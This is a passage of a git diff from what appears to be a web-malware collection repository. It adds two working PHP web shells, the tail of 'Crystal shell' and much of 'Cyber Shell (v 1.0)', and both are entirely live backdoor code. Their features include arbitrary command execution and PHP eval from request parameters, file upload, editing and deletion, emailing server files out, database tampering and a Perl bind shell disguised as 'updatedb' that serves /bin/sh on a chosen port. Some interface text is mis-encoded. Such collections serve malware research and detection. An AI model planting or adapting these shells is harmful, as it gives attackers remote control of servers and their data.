        +for ($i = 0; $i < count($dir_list); $i++)
        +echo "$dir_list[$i]"."

         

        " ; +echo "
        "; +imap_close($stream); +} +// CURL // +if(empty($_POST['curl'])){ +} else { +$m=$_POST['curl']; +$ch = +curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +} + +// copy// +$u1p=""; +$tymczas=""; +if(empty($_POST['copy'])){ +} else { +$u1p=$_POST['copy']; +$temp=tempnam($tymczas, "cx"); +if(copy("compress.zlib://".$u1p, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "".htmlspecialchars($tekst).""; +unlink($temp); +} else { +die("
        Sorry... File +".htmlspecialchars($u1p)." dosen't exists or you don't have +access.
        "); +} +} + +@$dir = $_POST['dir']; +$dir = stripslashes($dir); + +@$cmd = $_POST['cmd']; +$cmd = stripslashes($cmd); +$REQUEST_URI = $_SERVER['REQUEST_URI']; +$dires = ''; +$files = ''; + + + + +if (isset($_POST['port'])){ +$bind = " +#!/usr/bin/perl + +\$port = {$_POST['port']}; +\$port = \$ARGV[0] if \$ARGV[0]; +exit if fork; +$0 = \"updatedb\" . \" \" x100; +\$SIG{CHLD} = 'IGNORE'; +use Socket; +socket(S, PF_INET, SOCK_STREAM, 0); +setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); +bind(S, sockaddr_in(\$port, INADDR_ANY)); +listen(S, 50); +while(1) +{ + accept(X, S); + unless(fork) + { + open STDIN, \"<&X\"; + open STDOUT, \">&X\"; + open STDERR, \">&X\"; + close X; + exec(\"/bin/sh\"); + } + close X; +} +";} + +function decode($buffer){ + +return convert_cyr_string ($buffer, 'd', 'w'); + +} + + + +function execute($com) +{ + + if (!empty($com)) + { + if(function_exists('exec')) + { + exec($com,$arr); + echo implode(' +',$arr); + } + elseif(function_exists('shell_exec')) + { + echo shell_exec($com); + + + } + elseif(function_exists('system')) +{ + + echo system($com); +} + elseif(function_exists('passthru')) + { + + echo passthru($com); + + } +} + +} + + +function perms($mode) +{ + +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + + + + + + +if(isset($_POST['post']) and $_POST['post'] == "yes" and @$HTTP_POST_FILES["userfile"][name] !== "") +{ +copy($HTTP_POST_FILES["userfile"]["tmp_name"],$HTTP_POST_FILES["userfile"]["name"]); +} + +if((isset($_POST['fileto']))||(isset($_POST['filefrom']))) + +{ +$data = implode("", file($_POST['filefrom'])); +$fp = fopen($_POST['fileto'], "wb"); +fputs($fp, $data); +$ok = fclose($fp); +if($ok) +{ +$size = filesize($_POST['fileto'])/1024; +$sizef = sprintf("%.2f", $size); +print "
        Download - OK. (".$sizef."??)
        "; +} +else +{ +print "
        Something is wrong. Download - IS NOT OK
        "; +} +} + +if (isset($_POST['installbind'])){ + +if (is_dir($_POST['installpath']) == true){ +chdir($_POST['installpath']); +$_POST['installpath'] = "temp.pl";} + + +$fp = fopen($_POST['installpath'], "w"); +fwrite($fp, $bind); +fclose($fp); + +exec("perl " . $_POST['installpath']); +chdir($dir); + + +} + + +@$ef = stripslashes($_POST['editfile']); +if ($ef){ +$fp = fopen($ef, "r"); +$filearr = file($ef); + + + +$string = ''; +$content = ''; +foreach ($filearr as $string){ +$string = str_replace("<" , "<" , $string); +$string = str_replace(">" , ">" , $string); +$content = $content . $string; +} + +echo "
        Edit file: $ef
        + +
        +
        "; +fclose($fp); +} + +if(isset($_POST['savefile'])){ + +$fp = fopen($_POST['savefile'], "w"); +$content = stripslashes($content); +fwrite($fp, $content); +fclose($fp); +echo "
        saved -OK!
        "; + +} + + +if (isset($_POST['php'])){ + +echo "
        eval code

        +
        "; +} + + + +if(isset($_POST['phpcode'])){ + +echo "
        Results of PHP execution

        "; +@eval(stripslashes($_POST['phpcode'])); +echo "
        "; + + +} + + +if ($cmd){ + +if($sertype == "winda"){ +ob_start(); +execute($cmd); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} +else{ +ob_start(); +echo decode(execute($cmd)); +$buffer = ""; +$buffer = ob_get_contents(); +ob_end_clean(); +} + +if (trim($buffer)){ +echo "
        Command: $cmd
        "; +} + +} +$arr = array(); + +$arr = array_merge($arr, glob("*")); +$arr = array_merge($arr, glob(".*")); +$arr = array_merge($arr, glob("*.*")); +$arr = array_unique($arr); +sort($arr); +echo ""; + +foreach ($arr as $filename) { + +if ($filename != "." and $filename != ".."){ + +if (is_dir($filename) == true){ +$directory = ""; +$directory = $directory . "";} +else{ +$directory = $directory . ""; + +} + +if (is_readable($filename) == true){ +$directory = $directory . "";} +else{ +$directory = $directory . ""; +} +$dires = $dires . $directory; +} + +if (is_file($filename) == true){ +$file = ""; +$file = $file . "";} +else{ +$file = $file . ""; +} + +if (is_readable($filename) == true){ +$file = $file . "";} +else{ +$file = $file . ""; +} +$files = $files . $file; +} + + + +} + + + +} +echo $dires; +echo $files; +echo "
        NameTypeSizeLast accessLast changePermsWriteRead
        $filename" . filetype($filename) . "" . date("G:i j M Y",fileatime($filename)) . "" . date("G:i j M Y",filemtime($filename)) . "" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$directory = $directory . "YesNoYesNo
        $filename" . filetype($filename) . "" . filesize($filename) . "" . date("G:i j M Y",fileatime($filename)) . "" . date("G:i j M Y",filemtime($filename)) . "" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$file = $file . "YesNoYes
        No

        "; + + + + +echo " +
        +Command: + + +Directory: +
        "; + + + + + +if (ini_get('safe_mode') == 1){echo "
        SAFE MOD IS ON
        +Including from here: " +. ini_get('safe_mode_include_dir') . "
        Exec here: " . ini_get('safe_mode_exec_dir'). "
        ";} + + + + +?>




        + +

        + + :: + Executed command ::

        + +Command:"; +?> + f

        +  

        +
        +
        + Selectg 
        Bind port to
        +
        + + + + + + + +
        +

        + + + + ::Edit/Create + file::"

        +  ������� ��������:

        �� ���� ��� ����� ���� ���� ������ ���
        ���� ���� ����� ��� config.php ����
        Edit
        ����� �� ����� ��� ������� �����
        ����� � ��� ���� ����� ��� ��� �� ���� �� ��������
        ���� ���� ���� ������ washer-crystal.txt .
        ";} +?> +

        +

         

        +

        +File to edit: + + +

        "; +?> +

        +

        + ��� �������:

        �� ������ ����� ������ ����
        ���� ���� �� ������ ��� ������ ������
        UPLOAD< .
        ";} +?>:: + + + upload::Ņ

          + + + + +
        "; +?> +


        +

        + +  yCrystal shell v. 0.2 pro  �oded by Arab4Services.Com |Super-Crystal x

         

        + + + + +
        + + 
        \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Cyber Shell (v 1.0).php b/web-malware-collection-master/Backdoors/PHP/Cyber Shell (v 1.0).php new file mode 100755 index 0000000..2dda125 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Cyber Shell (v 1.0).php @@ -0,0 +1,1033 @@ + +BODY, TD, TR { +text-decoration: none; +font-family: Verdana; +font-size: 8pt; +SCROLLBAR-FACE-COLOR: #363d4e; +SCROLLBAR-HIGHLIGHT-COLOR: #363d4e; +SCROLLBAR-SHADOW-COLOR: #363d4e; +SCROLLBAR-ARROW-COLOR: #363d4e; +SCROLLBAR-TRACK-COLOR: #91AAFF +} +input, textarea, select { +font-family: Verdana; +font-size: 10px; +color: black; +background-color: white; +border: solid 1px; +border-color: black +} +UNKNOWN { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:link { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:hover { +COLOR: #FF0C0B; +TEXT-DECORATION: none +} +A:active { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:visited { +TEXT-DECORATION: none +} +"; + +foreach($_POST as $key => $value) {$$key=$value;} +foreach($_GET as $key => $value) {$$key=$value;} + +if (isset($_GET[imgname])) +{ +$img=array( +'dir'=> +'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1mG6mv7ZbiBbxrhlUtJFMAiOVDbdjOAQAR26d880lzr2paU6T6hbp9gH+ulCKjJkqAQBK+4ZPPAqhDB4i0pXtbfRvtUYYFZluo0DAKq9Ccj7ufxqlq9n4p1qyksn0IQLKoQyNeRsF+dGzgdfu/rXi0ni4tJxZ2S9n3Vj/2Q==', +'txt'=> +'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1yy1G3sdEtDPDEIorCCRpXOOWGAMAHuPqc9K4bx5481Twp4c03xVolpaRjU3EM1rcozqzbSRINrLzhQAeMjGc4Xb1NpqOhTaXpznX9MgnS1hU754yyMq8YBbgjceoNeb/AB2u9IPw+0TT9M1K1uxbXaIBFOrsFETgE4NN8ttNyVe+ux//2Q==', +'bg'=> +'R0lGODlhCAAbAPQAAOTq8uLp8uDo8d7m8N3l79vj7tni7dfh7dXf7NTe69Pe69Ld6tLc6tDb6c7a6MzY6MrX58nW5sfU5cXT5MPS48PR48HQ4sLQ48DP4r/P4r7O4b7N4b3N4b3N4L3M4LzM4CwAAAAACAAbAAAFXCAgjmJgnqagrurgvi4hz3Jh37ah7/rh/z6EcChUGI8KhnK5aDae0KdjSp0+rtgrZMvdRr7gr2RMHk/O6HNlza5Y3nBLZk7PYO6bvH7z6fv3gBt1c3cYcW9tiRQhADs=', +'file'=> +'/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDrLnXbbSoILeLwJe6uyW8Baa0tWkDl4wxyQhAI4yCc/MDzzjITx9q+n3Go3VloUmjwRtbqbDUYHUsZBJh1XIwB5DcgDO85ztGNBtRjkaykiu9FdIFV4zJrcttIC1qsLhlSJsEc4YNuHYjJB5nXI0g0V1N/p0xLWsMMVrfG5ZUj+1MSSYowqjzlVVAwAoHHFXzQ5Lcvvd/L+vX16A91Y//Z', +); +@ob_clean(); +header("Content-type: image/gif"); +header("Cache-control: public"); +header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); +header("Cache-control: max-age=".(60*60*24*7)); +header("Last-Modified: ".date("r",filemtime(__FILE__))); +echo base64_decode($img[$imgname]); +die; +} + +if ($_GET[pass]==$aupassword) +{ +$_SESSION[aupass]=md5($aupassword); +} +if ($hiddenmode=="false") +if ((!isset($_GET[pass]) or ($_GET[pass]!=$aupassword)) and ($_SESSION[aupass]=="")) +{ +$diz="ok"; +echo " +$style















        +
        + + + + + + + + + + +
        +Enter your password: +
        + +
        + +
        +
        +"; +} +if ($_SESSION[aupass]!="") +{ +if (!$_GET and !$_POST or isset($pass)) +$show="start"; + +function ext($str){ +for ($i=1; $i",">",$str); +return $str; +} +function fsize($filename){ +$s=filesize($filename); +if ($s>1048576){ +return round(($s/1048576),2)." mb"; +} +if ($s>1024){ +return round(($s/1024),2)." kb"; +} +return $s." byte"; +} +function tourl($str){ +$str= urlencode($str); +return $str; +} +function unbug($str){ +$str = stripslashes($str); +return $str; +} +function countbyte($filesize) { +if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; } +elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; } +elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; } +else { $filesize = $filesize . ""; } +return $filesize; +} +function downloadfile($file) { +if (!file_exists("$file")) die; +$size = filesize("$file"); +$filen=extractfilename($file); +header("Content-Type: application/force-download; name=\"$filen\""); +header("Content-Transfer-Encoding: binary"); +header("Content-Length: $size"); +header("Content-Disposition: attachment; filename=\"$filen\""); +header("Expires: 0"); +header("Cache-Control: no-cache, must-revalidate"); +header("Pragma: no-cache"); +readfile("$file"); +die; +} + +function anonim_mail($from,$to,$subject,$text,$file){ + $fp = fopen($file, "rb"); + while(!feof($fp)) + $attachment .= fread($fp, 4096); + $attachment = base64_encode($attachment); + $subject = "sendfile (".extractfilename($file).")"; + $boundary = uniqid("NextPart_"); + $headers = "From: $from\nContent-type: multipart/mixed; boundary=\"$boundary\""; + $info = $text; + $filename=extractfilename($file); + $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; + $send = mail($to, $subject, $info, $headers); +fclose($fp); +echo ""; +die; +} +if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]); +if (!empty($_GET[mailfile])) anonim_mail($email,$email,$_GET[mailfile],'File: '.$_GET[mailfile],$_GET[mailfile]); + +$d=$_GET[d]; +if (empty($d) or !isset($d)){ +$d=realpath("./"); +$d=str_replace("\\","/",$d); +} +$showdir=""; +$bufdir=""; +$buf = explode("/", $d); +for ($i=0;$i$d + +$style + + + + + + + + + +
        +
        $showdir
        +EOF; + +function perms($file) +{ +$mode=fileperms($file); +if( $mode & 0x1000 ) +$type='p'; +else if( $mode & 0x2000 ) +$type='c'; +else if( $mode & 0x4000 ) +$type='d'; +else if( $mode & 0x6000 ) +$type='b'; +else if( $mode & 0x8000 ) +$type='-'; +else if( $mode & 0xA000 ) +$type='l'; +else if( $mode & 0xC000 ) +$type='s'; +else +$type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) +$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) +$group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) +$world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} + +function updir($dir){ +if (strlen($dir)>2){ +for ($i=1; $i +
        +����� + +����� + +� ������ + +����������� + +� ������ +
        +EOF; + +$free = countbyte(diskfreespace("./")); +if (!empty($free)) echo "��������� �������� ������������ : $free
        "; +$os=exec("uname"); +if (!empty($os)) echo "������� :".$os."
        "; +if (!empty($REMOTE_ADDR)) echo "��� IP: $REMOTE_ADDR   $HTTP_X_FORWARDED_FOR
        "; +$ghz=exec("cat /proc/cpuinfo | grep GHz"); +if (!empty($ghz)) echo "���� � ������:(GHz)".$ghz."
        "; +$mhz=exec("cat /proc/cpuinfo | grep MHz"); +if (!empty($mhz)) echo "���� � ������:(MHz) ".$mhz."
        "; +$my_id=exec("id"); +if (!empty($my_id)) echo "
        ������������:".$my_id."
        "; +} + +function showdir($df) { +$df=str_replace("//","/",$df); +$dirs=array(); +$files=array(); +if ($dir=opendir($df)) { +while (($file=readdir($dir))!==false) { +if ($file=="." || $file=="..") continue; +if (is_dir("$df/$file")){ +$dirs[]=$file;} +else { +$files[]=$file;}}} +closedir($dir); +sort($dirs); +sort($files); +echo <<< EOF + +EOF; +for ($i=0; $i + + + + + + +EOF; +} +for ($i=0; $i + + + + + + +EOF; +} +echo "
        $dirs[$i]�������
        �������
        $perm
        $files[$i] ($fsize)ren/del/get/mail
        $attr
        $perm
        "; +if (count($dirs)==0 && count($files)==0){ +echo <<< EOF + + + + +
        ����� �����
        +EOF; +}} + +$edit=$_REQUEST[edit]; +if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){ +$file=fopen($edit,"r") or die ("��� ������� � ����� $edit"); +if (filesize($edit) > 0) +$tfile=fread($file,filesize($edit)) or die ("��� ������� � ����� $edit"); +else $tfile = ""; +fclose($file); +$tfile = htmlspecialchars($tfile,ENT_QUOTES); +echo " +
        +
        "; +$mydir=updir($edit); +echo " +��������� � $mydir/
        +�� ������������ ���� : $edit
        +����������� ���� ���� � ���� HTML +
        + +
        +"; +if (!isset($_REQUEST[readonly])) +echo ""; +echo " +
        +
        +
        +"; +} +if (isset($edit) && (!empty($edit)) && (isset($ashtml))){ +$mydir=updir($edit); +echo " +
        +��������� � $mydir/
        +�� �������������� ���� : $edit +
        +"; +readfile($edit); +echo " +
        +
        +"; +} + +if (isset($texoffile) && isset($nameoffile)) +{ +$texoffile=unbug($texoffile); +$f = fopen("$nameoffile", "w") or die ("��� ������� � ����� $nameoffile"); +fwrite($f, "$texoffile"); +fclose($f); +$mydir=updir($nameoffile); +echo ""; +die; +} + +if (isset($_REQUEST[delfile]) && ($_REQUEST[delfile]!="")) +{ +$delfile=$_REQUEST[delfile]; +$mydir=updir($delfile); +$deleted = unlink("$delfile"); +echo ""; +die; +} + +function deletedir($directory) { +if ($dir=opendir($directory)) { +while (($file=readdir($dir))!==false) { +if ($file=="." || $file=="..") continue; +if (is_dir("$directory/$file")) { +deletedir($directory."/".$file);} +else {unlink($directory."/".$file);}}} +closedir($dir); +rmdir("$directory/$file"); +} +if (isset($_REQUEST[deldir]) && (!empty($_REQUEST[deldir]))){ +$deldir=$_REQUEST[deldir]; +$mydir=updir(updir($deldir)); +deletedir("$deldir"); +echo ""; +die; +} + +if (isset($show)){showdir("$d");} + +{ +if (isset($_REQUEST[tools])) +echo <<< EOF +
        + + + + +
        +.: �������� ��� ������ ����� :. +
        +
        +EOF; +if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir])) +echo <<< EOF +
        + + + + + + + +
        +
        +.: ������� ����� :. +
        + + + + +
        +
        +EOF; + +if (isset($newdir) && ($newdir!="")) +{ +$mydir=updir($newdir); +mkdir($newdir,"7777"); +echo ""; +} + +if(@$_GET['rename']){ +echo "RENAME $d/$filetorename ?

        +
        +
        +RENAME
        $filetorename

        TO
        +

        + +
        +"; +@$rto=$_POST['rto']; +if($rto){ +$fr1=$d."/".$filetorename; +$fr1=str_replace("//","/",$fr1); +$to1=$d."/".$rto; +$to1=str_replace("//","/",$to1); +rename($fr1,$to1); +echo "File
        $filetorename
        Renamed to $rto

        "; +echo "";} +echo $copyr; +exit; +} + +if (isset($tools) or isset($tmkfile)) +echo <<< EOF +
        + + + + + + + +
        +
        +.: ������� ���� :. +
        + + + + +
        +
        +EOF; + +if (isset($newfile) && ($newfile!="")){ +$f = fopen("$newfile", "w+"); +fwrite($f, ""); +fclose($f); +$mydir=updir($newfile); +echo ""; +} + +if (isset($tools) or isset($tbackdoor)) +echo <<< EOF +
        + + + + + + + +
        +
        +.: ������� ���� :. +
        +��� �������: ����: + + + + +
        +
        +EOF; + +if (isset($bfileneme) && ($bfileneme!="") && isset($bport) && ($bport!="")){ +$script=" +#!/usr/bin/perl +\$port = $bport; +\$port = \$ARGV[0] if \$ARGV[0]; +exit if fork; +\$0 = \"updatedb\" . \" \" x100; +\$SIG{CHLD} = 'IGNORE'; +use Socket; +socket(S, PF_INET, SOCK_STREAM, 0); +setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); +bind(S, sockaddr_in(\$port, INADDR_ANY)); +listen(S, 50); +while(1) +{ + accept(X, S); + unless(fork) + { + open STDIN, \"<&X\"; + open STDOUT, \">&X\"; + open STDERR, \">&X\"; + close X; + exec(\"/bin/sh\"); + } + close X; +} +"; + +$f = fopen("$d/$bfileneme", "w+"); +fwrite($f, $script); +fclose($f); +system("perl $d/$bfileneme"); +echo ""; +} + +if (isset($tools) or isset($tbash)) +echo <<< EOF +
        + + + + + + + +
        +
        + +.: ��������� ������� :. +
        + + + + + +
        +
        +EOF; + +if (isset($cmd) && ($cmd!="")){ +echo "
        "; +system($cmd); +echo "
        "; +} + +if (isset($tools) or isset($tupload)){ +$updir="$d/"; +if(empty($go)) { +echo <<< EOF +
        + + + + + + + +
        +
        +.: �������� ���� � ������� ������� :. +
        + + + + + + +
        +
        +EOF; +} +else { +if (is_uploaded_file($userfile)) { +$fi = "������� ���� $userfile_name �������� $userfile_size ���� � ���������� $updir"; +} +echo "$fi
        ����� � ��������"; +} +if (is_uploaded_file($userfile)) { +$dest=$updir.$userfile_name; +move_uploaded_file($userfile, $dest); +}} + +if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){ +mysql_connect($db_server, $db_user, $db_pass) or die("�� ���� ������������ � ����"); +} + +if ((isset($dbname)) and (isset($table)) ) +{ +foreach($_POST as $var => $val) +if (substr($var,0,7) == 'newpole'){ +if (substr($var,7,strlen($var)) !== ''){ +$indif=substr($var,7,strlen($var)); +echo " $val "; +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +if ($xvar == "") +$xvar .= $indif; +else +$xvar .= ",".$indif; +if ($xval == "") +$xval .= "'$val'"; +else +$xval .= ",'$val'"; +}} + +if ($xvar != ""){ +mysql_query("INSERT INTO $table ($xvar) values ($xval)"); +} + +echo "����� � ������ ������ ��:$dbname"; +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +$re=mysql_query("select * from $table"); +echo ""; + +$res=mysql_fetch_array($re); +echo ""; +if (count($res) > 1) +foreach($res as $var => $val){ +$nvar=$var; +if ($nvar !== 0) +$nvar=$var+128945432; +if ($nvar == 128945432){ +$var=untag($var); +echo ""; +}} +echo ""; + +if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) +$param="limit $_SESSION[limit]"; + +$re=mysql_query("select * from $table $param"); + +while($res=mysql_fetch_array($re)){ +echo ""; +if (count($res) > 1) +foreach($res as $var => $val){ +$nvar=$var; +if ($nvar !== 0) +$nvar=$var+128945432; +if (!$pixidname){ +$pixidname=$var; +$pixid=$val; +} +if ($nvar == 128945432){ +$valtext=untag($val); +if ($valtext == "") $valtext="=�����="; + + +if ($_SESSION[lenth] == "on"){ +if (strlen($valtext)>40){ +$valtext=substr($valtext,0,40); +$valtext .="..."; +}} + +echo ""; +}} + +echo ""; +$pixidname=''; +$pixid=''; +} + +echo ""; + +$re=mysql_query("select * from $table"); +$res=mysql_fetch_array($re); +echo ""; +if (count($res) > 1) +foreach($res as $var => $val){ +$nvar=$var; +if ($nvar !== 0) +$nvar=$var+128945432; +if ($nvar == 128945432){ +$var=untag($var); +echo ""; +}} +echo ""; + +$re=mysql_query("select * from $table"); +$res=mysql_fetch_array($re); +echo ""; +if (count($res) > 1) +foreach($res as $var => $val){ +$nvar=$var; +if ($nvar !== 0) +$nvar=$var+128945432; +if ($nvar == 128945432){ +$var=untag($var); +echo ""; +}} +echo ""; +echo "
        $var
        $valtext�������
        $var
        "; +echo ""; +echo " + + + + + +"; +echo ""; +} + +if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){ +echo "hello"; +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +mysql_query("delete from $mtable where $pixidname='$pixid'"); +echo ""; +} + +if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){ +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid"); +} + +if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){ +mysql_select_db($dbname) or die("�� ���� ������� ���� ������"); +$re=mysql_query("select $var from $mtable where $pixidname='$pixid'"); +$res=mysql_fetch_array($re); +$text=untag($res[$var]); + +echo " +
        + + + + + + + + + +
        +
        +��������� � ������ +"; +} + +if (isset($showdb) && empty($showtables)){ +$re=mysql_query("show databases"); +echo ""; +echo ""; +while($res=mysql_fetch_array($re)){ +echo ""; +} +echo "
        ������ ��������� ��:
        $res[0]
